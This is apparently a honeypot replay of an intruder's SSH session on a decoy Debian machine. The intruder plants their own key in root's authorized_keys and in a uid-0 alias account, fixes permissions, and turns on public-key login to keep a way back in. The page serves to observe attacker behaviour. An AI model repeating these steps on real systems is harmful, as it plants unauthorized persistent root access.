← All sessions
Ended · replayGot inTyped by a bot and a persontyped 32 lines, pasted 229 lines, 53 corrections, 19 pauses of 2 s or more, 217 pasted within 2 s

Got in and set up a way to come back

on Querétaro City, Mexicochalk-eagle-57i from Berlin, Germanyseen 34 times this weekSSH-2.0-PuTTY_KiTTY

admin@mx-qro-azure-1 · 🇲🇽 Querétaro City
connected from 🇩🇪 Berlin, Germany · SSH-2.0-PuTTY_KiTTY
admin@mx-qro-azure-1: offered a key (rsa-sha2-512) · refused
admin@mx-qro-azure-1's password: 
Logged in as admin
admin@mx-qro-azure-1:~$ w
 05:55:03 up 5 days,  4:49,  1 user,  load average: 7.99, 7.93, 7.54
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
admin    pts/0    [attacker]    05:55    0.00s  0.01s  0.00s w
admin@mx-qro-azure-1:~$ sudo su
admin@mx-qro-azure-1:~$ nproc
192
admin@mx-qro-azure-1:~$ /home/johan/infer-api/.venv/bin/python3 -c "import sys; sys.stderr.write('test\n')"
admin@mx-qro-azure-1:~$ docker
bash: docker: command not found
admin@mx-qro-azure-1:~$ apt install docker
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
E: Unable to locate package docker
admin@mx-qro-azure-1:~$ sudo apt update
0% [Connecting to deb.debian.org (34.126.222.25)] [Connecting to security.debian.org (34.80.74.151)]
admin@mx-qro-azure-1:~$ sudo apt install -y ca-certificates curl gnupg lsb-releasedf
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
E: Unable to locate package lsb-releasedf
admin@mx-qro-azure-1:~$ df -h
Filesystem      Size  Used Avail Use% Mounted on
udev            497G     0  497G   0% /dev
tmpfs           100G  568K  100G   1% /run
/dev/nvme0n1p2  7.1T  413G  6.4T   6% /
tmpfs           497G     0  497G   0% /dev/shm
tmpfs           5.0M     0  5.0M   0% /run/lock
/dev/nvme0n1p1  507M  5.9M  501M   2% /boot/efi
/dev/nvme1n1p1  7.1T  3.4T  3.4T  51% /srv/ml/datasets
/dev/nvme2n1p1  7.1T  2.1T  4.7T  32% /srv/ml/checkpoints
/dev/nvme3n1p1  7.1T  608G  6.2T   9% /scratch
admin@mx-qro-azure-1:~$ cd /scratch/
admin@mx-qro-azure-1:/scratch$ ls -a
.  ..  README
admin@mx-qro-azure-1:/scratch$ echo ok > ok
admin@mx-qro-azure-1:/scratch$ ls
README	ok
admin@mx-qro-azure-1:/scratch$ cat ok
ok
admin@mx-qro-azure-1:/scratch$ rm -rf ok
admin@mx-qro-azure-1:/scratch$ cd /srv/ml/checkpoints
admin@mx-qro-azure-1:/srv/ml/checkpoints$ ls
hyllbild-yolo11m-b3.pt	kundtjanst-llm
admin@mx-qro-azure-1:/srv/ml/checkpoints$ echo ok > ok
admin@mx-qro-azure-1:/srv/ml/checkpoints$ ls
hyllbild-yolo11m-b3.pt	kundtjanst-llm	ok
admin@mx-qro-azure-1:/srv/ml/checkpoints$ cat ok
ok
admin@mx-qro-azure-1:/srv/ml/checkpoints$ rm -rf ok
admin@mx-qro-azure-1:/srv/ml/checkpoints$ cd /tmp
admin@mx-qro-azure-1:/tmp$ echo ok > ok
admin@mx-qro-azure-1:/tmp$ ls
authorized_keys.txt  ok  systemd-private-ac8bf56a39024e02a2c0678807bf58b4-systemd-logind.service-1IT6KR  systemd-private-ac8bf56a39024e02a2c0678807bf58b4-systemd-timesyncd.service-63xDRb  testfile
admin@mx-qro-azure-1:/tmp$ cat ok
ok
admin@mx-qro-azure-1:/tmp$ rm -rf ok
admin@mx-qro-azure-1:/tmp$ cat testfile 
test
admin@mx-qro-azure-1:/tmp$ rm -rf testfile 
admin@mx-qro-azure-1:/tmp$ mv authorized_keys
mv: missing destination file operand after 'authorized_keys'
Try 'mv --help' for more information.
admin@mx-qro-azure-1:/tmp$ mv authorized_keys.txt authorized_keys.txt 
mv: 'authorized_keys.txt' and 'authorized_keys.txt' are the same file
admin@mx-qro-azure-1:/tmp$ mv authorized_keys.txt authorized_keys
admin@mx-qro-azure-1:/tmp$ cp authorized_keys /root/.ssh/
admin@mx-qro-azure-1:/tmp$ cd /root/.ssh
admin@mx-qro-azure-1:/root/.ssh$ ls -a
.  ..  auth_temp  authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ rm -rf auth_temp 
admin@mx-qro-azure-1:/root/.ssh$ cp authorized_keys /home/certssl/.ssh/
admin@mx-qro-azure-1:/root/.ssh$ # Verifică existența cheii
admin@mx-qro-azure-1:/root/.ssh$ test -s /tmp/authorized_keys || { echo "EROARE: cheia lipsește!"; exit 1; }
admin@mx-qro-azure-1:/root/.ssh$ # Creează directoarele SSH
admin@mx-qro-azure-1:/root/.ssh$ install -d -m 700 -o root -g root /root/.ssh
admin@mx-qro-azure-1:/root/.ssh$ install -d -m 700 -o root -g root /home/certssl/.ssh
admin@mx-qro-azure-1:/root/.ssh$ # Instalează cheia pentru root
admin@mx-qro-azure-1:/root/.ssh$ install -m 600 -o root -g root \
/tmp/authorized_keys /root/.ssh/authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ # Instalează cheia pentru certssl (dacă este alias UID 0)
admin@mx-qro-azure-1:/root/.ssh$ install -m 600 -o root -g root \
/tmp/authorized_keys /home/certssl/.ssh/authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ # Verifică cheia
admin@mx-qro-azure-1:/root/.ssh$ echo "=== Fingerprint ==="
=== Fingerprint ===
admin@mx-qro-azure-1:/root/.ssh$ ssh-keygen -lf /root/.ssh/authorized_keys
2048 SHA256:AWH0cSYmzwAMl9tvfHbXpNozyuIwG9eN+64a8JFOsG4 rsa-key-20251006 (RSA)
admin@mx-qro-azure-1:/root/.ssh$ # Verifică configurația SSH
admin@mx-qro-azure-1:/root/.ssh$ sshd -t || exit 1
admin@mx-qro-azure-1:/root/.ssh$ echo "=== Configuratie SSH ==="
=== Configuratie SSH ===
admin@mx-qro-azure-1:/root/.ssh$ sshd -T | grep -Ei 'permitrootlogin|pubkeyauthentication|authorizedkeysfile|strictmodes'
admin@mx-qro-azure-1:/root/.ssh$ echo "=== GATA ==="
=== GATA ===
admin@mx-qro-azure-1:/root/.ssh$ echo "===== USER ====="
===== USER =====
admin@mx-qro-azure-1:/root/.ssh$ id root
uid=0(root) gid=0(root) groups=0(root)
admin@mx-qro-azure-1:/root/.ssh$ id certssl
uid=0(certssl) gid=0(root) groups=0(root)
admin@mx-qro-azure-1:/root/.ssh$ getent passwd certssl
certssl:x:0:0::/home/certssl:/bin/bash
admin@mx-qro-azure-1:/root/.ssh$ echo "===== SSH CONFIG ====="
===== SSH CONFIG =====
admin@mx-qro-azure-1:/root/.ssh$ sshd -T | grep -Ei 'permitrootlogin|pubkeyauthentication|authorizedkeysfile|strictmodes'
admin@mx-qro-azure-1:/root/.ssh$ echo "===== PERMISSIONS ====="
===== PERMISSIONS =====
admin@mx-qro-azure-1:/root/.ssh$ namei -l /root/.ssh/authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ ls -la /root/.ssh/
total 12
drwx------ 2 root root 4096 Nov 25 14:24 .
drwx------ 3 root root 4096 Nov 25 14:24 ..
-rw-r--r-- 1 root root  397 Dec  5 05:59 authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ ls -la /home/certssl/.ssh/
total 12
drwx------ 2 certssl root 4096 Dec  5 05:41 .
drwxr-xr-x 3 certssl root 4096 Dec  5 04:59 ..
-rw-r--r-- 1 root    root  397 Dec  5 06:00 authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ echo "===== KEY FINGERPRINT ====="
===== KEY FINGERPRINT =====
admin@mx-qro-azure-1:/root/.ssh$ ssh-keygen -lf /root/.ssh/authorized_keys
2048 SHA256:AWH0cSYmzwAMl9tvfHbXpNozyuIwG9eN+64a8JFOsG4 rsa-key-20251006 (RSA)
admin@mx-qro-azure-1:/root/.ssh$ echo "===== SSH LOGS ====="
===== SSH LOGS =====
admin@mx-qro-azure-1:/root/.ssh$ tail -n 40 /var/log/auth.log
tail: cannot open '/var/log/auth.log' for reading: No such file or directory
admin@mx-qro-azure-1:/root/.ssh$ echo "=== SSH SERVICE ==="
=== SSH SERVICE ===
admin@mx-qro-azure-1:/root/.ssh$ systemctl status ssh --no-pager
● ssh.service - OpenBSD Secure Shell server
     Loaded: loaded (/lib/systemd/system/ssh.service; enabled; preset: enabled)
     Active: active (running) since Mon 2026-11-30 01:05:48 CET; 5 days 4h ago
   Main PID: 1793 (sshd)
      Tasks: 1 (limit: 1213903)
     Memory: 9.2M
        CPU: 4.793s
     CGroup: /system.slice/ssh.service
             └─1793 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
admin@mx-qro-azure-1:/root/.ssh$ echo "=== SSHD BINARY ==="
=== SSHD BINARY ===
admin@mx-qro-azure-1:/root/.ssh$ which sshd
/usr/sbin/sshd
admin@mx-qro-azure-1:/root/.ssh$ sshd -t
admin@mx-qro-azure-1:/root/.ssh$ echo "sshd test exit: $?"
sshd test exit: 0
admin@mx-qro-azure-1:/root/.ssh$ echo "=== FIX ROOT KEY ==="
=== FIX ROOT KEY ===
admin@mx-qro-azure-1:/root/.ssh$ chown root:root /root/.ssh /root/.ssh/authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ chmod 700 /root/.ssh
admin@mx-qro-azure-1:/root/.ssh$ chmod 600 /root/.ssh/authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ echo "=== FIX CERTSSL KEY ==="
=== FIX CERTSSL KEY ===
admin@mx-qro-azure-1:/root/.ssh$ chown certssl:root /home/certssl/.ssh
admin@mx-qro-azure-1:/root/.ssh$ chmod 700 /home/certssl/.ssh
admin@mx-qro-azure-1:/root/.ssh$ chown certssl:root /home/certssl/.ssh/authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ chmod 600 /home/certssl/.ssh/authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ echo "=== EFFECTIVE CONFIG ==="
=== EFFECTIVE CONFIG ===
admin@mx-qro-azure-1:/root/.ssh$ sshd -T | grep -Ei 'permitrootlogin|pubkeyauthentication|authorizedkeysfile|strictmodes'
admin@mx-qro-azure-1:/root/.ssh$ echo "=== SSH LOGS ==="
=== SSH LOGS ===
admin@mx-qro-azure-1:/root/.ssh$ journalctl -u ssh -n 50 --no-pager
Nov 30 01:05:53 mx-qro-azure-1 systemd[1]: Starting ssh.service - OpenBSD Secure Shell server...
Nov 30 01:05:53 mx-qro-azure-1 systemd[1]: Started ssh.service - OpenBSD Secure Shell server.
Nov 30 01:05:53 mx-qro-azure-1 sshd[1793]: Server listening on 0.0.0.0 port 22.
Nov 30 01:05:53 mx-qro-azure-1 sshd[1793]: Server listening on :: port 22.
Dec 05 05:55:02 mx-qro-azure-1 sshd[77146]: Accepted password for admin from [attacker] port 52888 ssh2
Dec 05 05:55:02 mx-qro-azure-1 sshd[77146]: pam_unix(sshd:session): session opened for user admin(uid=1000) by (uid=0)
admin@mx-qro-azure-1:/root/.ssh$ echo "=== OS ==="
=== OS ===
admin@mx-qro-azure-1:/root/.ssh$ cat /etc/os-release | head
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
admin@mx-qro-azure-1:/root/.ssh$ echo "=== SSHD ==="
=== SSHD ===
admin@mx-qro-azure-1:/root/.ssh$ command -v sshd
/usr/sbin/sshd
admin@mx-qro-azure-1:/root/.ssh$ sshd -t 2>&1
admin@mx-qro-azure-1:/root/.ssh$ echo "exit=$?"
exit=0
admin@mx-qro-azure-1:/root/.ssh$ echo "=== SERVICE ==="
=== SERVICE ===
admin@mx-qro-azure-1:/root/.ssh$ systemctl status ssh --no-pager -l 2>&1 | head -30
● ssh.service - OpenBSD Secure Shell server
     Loaded: loaded (/lib/systemd/system/ssh.service; enabled; preset: enabled)
     Active: active (running) since Mon 2026-11-30 01:05:48 CET; 5 days 4h ago
   Main PID: 1793 (sshd)
      Tasks: 1 (limit: 1213903)
     Memory: 9.2M
        CPU: 4.793s
     CGroup: /system.slice/ssh.service
             └─1793 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
admin@mx-qro-azure-1:/root/.ssh$ systemctl status sshd --no-pager -l 2>&1 | head -20
● ssh.service - OpenBSD Secure Shell server
     Loaded: loaded (/lib/systemd/system/ssh.service; enabled; preset: enabled)
     Active: active (running) since Mon 2026-11-30 01:05:48 CET; 5 days 4h ago
   Main PID: 1793 (sshd)
      Tasks: 1 (limit: 1213903)
     Memory: 9.2M
        CPU: 4.793s
     CGroup: /system.slice/ssh.service
             └─1793 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
admin@mx-qro-azure-1:/root/.ssh$ echo "=== CONFIG FILES ==="
=== CONFIG FILES ===
admin@mx-qro-azure-1:/root/.ssh$ ls -l /etc/ssh/sshd_config /etc/ssh/sshd_config.d/ 2>&1
-rw-r--r-- 1 root root 3236 Dec  5 05:35 /etc/ssh/sshd_config

/etc/ssh/sshd_config.d/:
total 0
admin@mx-qro-azure-1:/root/.ssh$ grep -RniE 'PermitRootLogin|PubkeyAuthentication|AuthorizedKeysFile|StrictModes' /etc/ssh/sshd_config /etc/ssh/sshd_config.d/ 2>&1
/etc/ssh/sshd_config:33:PermitRootLogin yes
/etc/ssh/sshd_config:34:#StrictModes yes
/etc/ssh/sshd_config:38:#PubkeyAuthentication yes
/etc/ssh/sshd_config:41:#AuthorizedKeysFile	.ssh/authorized_keys .ssh/authorized_keys2
/etc/ssh/sshd_config:81:# the setting of "PermitRootLogin prohibit-password".
admin@mx-qro-azure-1:/root/.ssh$ echo "=== USERS ==="
=== USERS ===
admin@mx-qro-azure-1:/root/.ssh$ getent passwd root
root:x:0:0:root:/root:/bin/bash
admin@mx-qro-azure-1:/root/.ssh$ getent passwd certssl
certssl:x:0:0::/home/certssl:/bin/bash
admin@mx-qro-azure-1:/root/.ssh$ id certssl
uid=0(certssl) gid=0(root) groups=0(root)
admin@mx-qro-azure-1:/root/.ssh$ echo "=== KEY FILE ==="
=== KEY FILE ===
admin@mx-qro-azure-1:/root/.ssh$ stat -c '%U:%G %a %n' /root/.ssh /root/.ssh/authorized_keys /home/certssl/.ssh /home/certssl/.ssh/authorized_keys
root:root 700 /root/.ssh
root:root 600 /root/.ssh/authorized_keys
certssl:root 700 /home/certssl/.ssh
certssl:root 600 /home/certssl/.ssh/authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ ssh-keygen -lf /root/.ssh/authorized_keys
2048 SHA256:AWH0cSYmzwAMl9tvfHbXpNozyuIwG9eN+64a8JFOsG4 rsa-key-20251006 (RSA)
admin@mx-qro-azure-1:/root/.ssh$ echo "=== USER ==="
=== USER ===
admin@mx-qro-azure-1:/root/.ssh$ getent passwd certssl
certssl:x:0:0::/home/certssl:/bin/bash
admin@mx-qro-azure-1:/root/.ssh$ id certssl
uid=0(certssl) gid=0(root) groups=0(root)
admin@mx-qro-azure-1:/root/.ssh$ echo "=== SSH KEY PERMISSIONS ==="
=== SSH KEY PERMISSIONS ===
admin@mx-qro-azure-1:/root/.ssh$ namei -l /home/certssl/.ssh/authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ echo "=== KEY FINGERPRINT ==="
=== KEY FINGERPRINT ===
admin@mx-qro-azure-1:/root/.ssh$ ssh-keygen -lf /home/certssl/.ssh/authorized_keys
2048 SHA256:AWH0cSYmzwAMl9tvfHbXpNozyuIwG9eN+64a8JFOsG4 rsa-key-20251006 (RSA)
admin@mx-qro-azure-1:/root/.ssh$ echo "=== SSH CONFIG ==="
=== SSH CONFIG ===
admin@mx-qro-azure-1:/root/.ssh$ /usr/sbin/sshd -T -C user=certssl,host=mx-qro-azure-1,addr=127.0.0.1 2>&1 | grep -Ei 'pubkeyauthentication|authorizedkeysfile|strictmodes'
admin@mx-qro-azure-1:/root/.ssh$ echo "=== AUTH LOG ==="
=== AUTH LOG ===
admin@mx-qro-azure-1:/root/.ssh$ journalctl -u ssh -n 60 --no-pager
Nov 30 01:05:53 mx-qro-azure-1 systemd[1]: Starting ssh.service - OpenBSD Secure Shell server...
Nov 30 01:05:53 mx-qro-azure-1 systemd[1]: Started ssh.service - OpenBSD Secure Shell server.
Nov 30 01:05:53 mx-qro-azure-1 sshd[1793]: Server listening on 0.0.0.0 port 22.
Nov 30 01:05:53 mx-qro-azure-1 sshd[1793]: Server listening on :: port 22.
Dec 05 05:55:02 mx-qro-azure-1 sshd[77146]: Accepted password for admin from [attacker] port 52888 ssh2
Dec 05 05:55:02 mx-qro-azure-1 sshd[77146]: pam_unix(sshd:session): session opened for user admin(uid=1000) by (uid=0)
admin@mx-qro-azure-1:/root/.ssh$ chown root:root /home/certssl
admin@mx-qro-azure-1:/root/.ssh$ chmod 700 /home/certssl
admin@mx-qro-azure-1:/root/.ssh$ chown root:root /home/certssl/.ssh
admin@mx-qro-azure-1:/root/.ssh$ chmod 700 /home/certssl/.ssh
admin@mx-qro-azure-1:/root/.ssh$ chown root:root /home/certssl/.ssh/authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ chmod 600 /home/certssl/.ssh/authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ echo "=== VERIFICARE ==="
=== VERIFICARE ===
admin@mx-qro-azure-1:/root/.ssh$ stat -c '%U:%G %a %n' /home/certssl /home/certssl/.ssh /home/certssl/.ssh/authorized_keys
root:root 700 /home/certssl
root:root 700 /home/certssl/.ssh
root:root 600 /home/certssl/.ssh/authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ echo "=== CONFIGURATIE SSH ==="
=== CONFIGURATIE SSH ===
admin@mx-qro-azure-1:/root/.ssh$ /usr/sbin/sshd -t && /usr/sbin/sshd -T | grep -Ei 'permitrootlogin|pubkeyauthentication|authorizedkeysfile|strictmodes'
admin@mx-qro-azure-1:/root/.ssh$ echo "=== SSHD LOCATION ==="
=== SSHD LOCATION ===
admin@mx-qro-azure-1:/root/.ssh$ ls -l /usr/sbin/sshd
-rwxr-xr-x 1 root root 1265432 May  8  2026 /usr/sbin/sshd
admin@mx-qro-azure-1:/root/.ssh$ /usr/sbin/sshd -V 2>&1
admin@mx-qro-azure-1:/root/.ssh$ echo "=== SSHD TEST ==="
=== SSHD TEST ===
admin@mx-qro-azure-1:/root/.ssh$ /usr/sbin/sshd -t
admin@mx-qro-azure-1:/root/.ssh$ echo "CODE=$?"
CODE=0
admin@mx-qro-azure-1:/root/.ssh$ echo "=== SSHD EFFECTIVE CONFIG ==="
=== SSHD EFFECTIVE CONFIG ===
admin@mx-qro-azure-1:/root/.ssh$ /usr/sbin/sshd -T
admin@mx-qro-azure-1:/root/.ssh$ echo "CODE=$?"
CODE=0
admin@mx-qro-azure-1:/root/.ssh$ echo "=== CONFIG FILE ==="
=== CONFIG FILE ===
admin@mx-qro-azure-1:/root/.ssh$ cat /etc/ssh/sshd_config
# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options override the
# default value.

Include /etc/ssh/sshd_config.d/*.conf

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
PermitRootLogin yes
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile	.ssh/authorized_keys .ssh/authorized_keys2

#AuthorizedPrincipalsFile none

#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes

# To disable tunneled clear text passwords, change to no here!
PasswordAuthentication yes
#PermitEmptyPasswords no

# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
KbdInteractiveAuthentication no

# Kerberos options
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosGetAFSToken no

# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes
#GSSAPIStrictAcceptorCheck yes
#GSSAPIKeyExchange no

# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the KbdInteractiveAuthentication and
# PasswordAuthentication.  Depending on your PAM configuration,
# PAM authentication via KbdInteractiveAuthentication may bypass
# the setting of "PermitRootLogin prohibit-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and KbdInteractiveAuthentication to 'no'.
UsePAM yes

#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
#X11DisplayOffset 10
#X11UseLocalhost yes
#PermitTTY yes
PrintMotd no
#PrintLastLog yes
#TCPKeepAlive yes
#PermitUserEnvironment no
#Compression delayed
#ClientAliveInterval 0
#ClientAliveCountMax 3
#UseDNS no
#PidFile /run/sshd.pid
#MaxStartups 10:30:100
#PermitTunnel no
#ChrootDirectory none
#VersionAddendum none

# no default banner path
#Banner none

# Allow client to pass locale environment variables
AcceptEnv LANG LC_*

# override default of no subsystems
Subsystem	sftp	/usr/lib/openssh/sftp-server

# Example of overriding settings on a per-user basis
#Match User anoncvs
#	X11Forwarding no
#	AllowTcpForwarding no
#	PermitTTY no
#	ForceCommand cvs server
AllowUsers admin certssl root
admin@mx-qro-azure-1:/root/.ssh$ echo "=== SSH SERVICE ==="
=== SSH SERVICE ===
admin@mx-qro-azure-1:/root/.ssh$ systemctl status ssh --no-pager -l
● ssh.service - OpenBSD Secure Shell server
     Loaded: loaded (/lib/systemd/system/ssh.service; enabled; preset: enabled)
     Active: active (running) since Mon 2026-11-30 01:05:48 CET; 5 days 4h ago
   Main PID: 1793 (sshd)
      Tasks: 1 (limit: 1213903)
     Memory: 9.2M
        CPU: 4.793s
     CGroup: /system.slice/ssh.service
             └─1793 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
admin@mx-qro-azure-1:/root/.ssh$ echo "=== INCLUDE FILES ==="
=== INCLUDE FILES ===
admin@mx-qro-azure-1:/root/.ssh$ ls -la /etc/ssh/sshd_config.d/
total 8
drwxr-xr-x 2 root root 4096 Nov 25 14:33 .
drwxr-xr-x 4 root root 4096 Nov 25 14:29 ..
admin@mx-qro-azure-1:/root/.ssh$ echo "=== PUBKEY SETTINGS ==="
=== PUBKEY SETTINGS ===
admin@mx-qro-azure-1:/root/.ssh$ grep -RniE 'PubkeyAuthentication|AuthorizedKeysFile|AuthenticationMethods|PermitRootLogin|AllowUsers' /etc/ssh/
/etc/ssh/sshd_config:33:PermitRootLogin yes
/etc/ssh/sshd_config:38:#PubkeyAuthentication yes
/etc/ssh/sshd_config:41:#AuthorizedKeysFile	.ssh/authorized_keys .ssh/authorized_keys2
/etc/ssh/sshd_config:81:# the setting of "PermitRootLogin prohibit-password".
/etc/ssh/sshd_config:123:AllowUsers admin certssl root
admin@mx-qro-azure-1:/root/.ssh$ echo "=== ROOT AUTHORIZED KEYS ==="
=== ROOT AUTHORIZED KEYS ===
admin@mx-qro-azure-1:/root/.ssh$ ls -l /root/.ssh/authorized_keys /home/certssl/.ssh/authorized_keys
-rw------- 1 root root 397 Dec  5 06:00 /home/certssl/.ssh/authorized_keys
-rw------- 1 root root 397 Dec  5 05:59 /root/.ssh/authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ cmp /root/.ssh/authorized_keys /home/certssl/.ssh/authorized_keys
admin@mx-qro-azure-1:/root/.ssh$ echo "CMP=$?"
CMP=0
admin@mx-qro-azure-1:/root/.ssh$ echo "=== SSH AUTHENTICATION LOG ==="
=== SSH AUTHENTICATION LOG ===
admin@mx-qro-azure-1:/root/.ssh$ journalctl _COMM=sshd --since "2026-12-05 06:00:00" --no-pager
admin@mx-qro-azure-1:/root/.ssh$ cp -a /etc/ssh/sshd_config /etc/ssh/sshd_config.backup
admin@mx-qro-azure-1:/root/.ssh$ sed -i 's/^#PubkeyAuthentication yes/PubkeyAuthentication yes/' /etc/ssh/sshd_config
admin@mx-qro-azure-1:/root/.ssh$ grep -q '^PubkeyAuthentication' /etc/ssh/sshd_config || \
echo 'PubkeyAuthentication yes' >> /etc/ssh/sshd_config
admin@mx-qro-azure-1:/root/.ssh$ /usr/sbin/sshd -t || exit 1
admin@mx-qro-azure-1:/root/.ssh$ echo "=== CONFIGURATIE ==="
=== CONFIGURATIE ===
admin@mx-qro-azure-1:/root/.ssh$ /usr/sbin/sshd -T | grep -Ei 'permitrootlogin|pubkeyauthentication|authorizedkeysfile|passwordauthentication'
admin@mx-qro-azure-1:/root/.ssh$ echo "=== TEST ==="
=== TEST ===
admin@mx-qro-azure-1:/root/.ssh$ journalctl -u ssh --since "2 minutes ago" --no-pager
-- No entries --
admin@mx-qro-azure-1:/root/.ssh$ journalctl -f -u ssh
Nov 30 01:05:53 mx-qro-azure-1 systemd[1]: Starting ssh.service - OpenBSD Secure Shell server...
Nov 30 01:05:53 mx-qro-azure-1 systemd[1]: Started ssh.service - OpenBSD Secure Shell server.
Nov 30 01:05:53 mx-qro-azure-1 sshd[1793]: Server listening on 0.0.0.0 port 22.
Nov 30 01:05:53 mx-qro-azure-1 sshd[1793]: Server listening on :: port 22.
Dec 05 05:55:02 mx-qro-azure-1 sshd[77146]: Accepted password for admin from [attacker] port 52888 ssh2
Dec 05 05:55:02 mx-qro-azure-1 sshd[77146]: pam_unix(sshd:session): session opened for user admin(uid=1000) by (uid=0)
admin@mx-qro-azure-1:/root/.ssh$ echo "=== HOSTNAME ==="
=== HOSTNAME ===
admin@mx-qro-azure-1:/root/.ssh$ hostname -f
mx-qro-azure-1
admin@mx-qro-azure-1:/root/.ssh$ echo "=== IP ADDRESSES ==="
=== IP ADDRESSES ===
admin@mx-qro-azure-1:/root/.ssh$ ip -br addr
lo               UNKNOWN        127.0.0.1/8 ::1/128 
eno1             UP             192.168.10.20/24 fe80::ca7f:54ff:fe78:6a08/64 
admin@mx-qro-azure-1:/root/.ssh$ echo "=== SSH LISTENING ==="
=== SSH LISTENING ===
admin@mx-qro-azure-1:/root/.ssh$ ss -lntp | grep ':22'
LISTEN 0      128          0.0.0.0:22        0.0.0.0:*    users:(("sshd",pid=1793,fd=3))   
LISTEN 0      128             [::]:22           [::]:*    users:(("sshd",pid=1793,fd=4))   
admin@mx-qro-azure-1:/root/.ssh$ echo "=== ROUTES ==="
=== ROUTES ===
admin@mx-qro-azure-1:/root/.ssh$ ip route
default via 192.168.10.1 dev eno1 
192.168.10.0/24 dev eno1 proto kernel scope link src 192.168.10.20 
admin@mx-qro-azure-1:/root/.ssh$ echo "=== SSH CONFIG TEST ==="
=== SSH CONFIG TEST ===
admin@mx-qro-azure-1:/root/.ssh$ /usr/sbin/sshd -T -f /etc/ssh/sshd_config >/tmp/sshd-effective.txt 2>&1
admin@mx-qro-azure-1:/root/.ssh$ echo "EXIT=$?"
EXIT=0
admin@mx-qro-azure-1:/root/.ssh$ wc -c /tmp/sshd-effective.txt
wc: /tmp/sshd-effective.txt: No such file or directory
admin@mx-qro-azure-1:/root/.ssh$ cat /tmp/sshd-effective.txt | head -30
cat: /tmp/sshd-effective.txt: No such file or directory
admin@mx-qro-azure-1:/root/.ssh$ echo "=== PUBLIC IP ==="
=== PUBLIC IP ===
admin@mx-qro-azure-1:/root/.ssh$ curl -4 https://api.ipify.org
[decoy address]
admin@mx-qro-azure-1:/root/.ssh$ echo
admin@mx-qro-azure-1:/root/.ssh$ echo "=== SSH CONFIG ==="
=== SSH CONFIG ===
admin@mx-qro-azure-1:/root/.ssh$ /usr/sbin/sshd -T -f /etc/ssh/sshd_config | head -40
admin@mx-qro-azure-1:/root/.ssh$ echo "=== SSH PROCESS ==="
=== SSH PROCESS ===
admin@mx-qro-azure-1:/root/.ssh$ ps -fp 1793
UID          PID    PPID  C STIME TTY          TIME CMD
root        1793       1  0 Nov30 ?        00:00:04 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
admin@mx-qro-azure-1:/root/.ssh$ echo "=== SSH PORT ==="
=== SSH PORT ===
admin@mx-qro-azure-1:/root/.ssh$ ss -lntp | grep sshd
LISTEN 0      128          0.0.0.0:22        0.0.0.0:*    users:(("sshd",pid=1793,fd=3))   
LISTEN 0      128             [::]:22           [::]:*    users:(("sshd",pid=1793,fd=4))   
admin@mx-qro-azure-1:/root/.ssh$ echo "=== PUBLIC KEY ==="
=== PUBLIC KEY ===
admin@mx-qro-azure-1:/root/.ssh$ cat /root/.ssh/authorized_keys
